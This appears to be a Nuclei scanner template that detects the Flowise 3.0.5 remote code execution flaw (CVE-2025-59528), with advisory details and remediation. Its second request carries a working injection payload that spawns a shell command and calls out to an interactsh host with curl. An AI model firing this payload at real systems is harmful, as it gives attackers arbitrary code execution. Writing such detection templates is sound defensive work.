Flowise - Remote Code Execution

id: CVE-2025-59528

info:
  name: Flowise - Remote Code Execution
  author: xtr0nix
  severity: critical
  description: |
    Flowise 3.0.5 contains a remote code execution vulnerability caused by unsafe evaluation of user input in the CustomMCP node's convertToValidJSONString function, letting remote attackers execute arbitrary code with full Node.js privileges, exploit requires user input to be processed by the vulnerable node.
  impact: |
    Attackers can execute arbitrary code with full Node.js privileges, potentially leading to full system compromise.
  remediation: |
    Update to version 3.0.6 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59528
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-59528
    epss-score: 0.90183
    epss-percentile: 0.99784
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2025,flowise,rce,authenticated,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{email}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "id", "email", "name")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/node-load-method/customMCP HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"curl {{interactsh-url}}\");return 1;})()})"}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "No Available Actions")'
          - 'status_code == 200'
        condition: and
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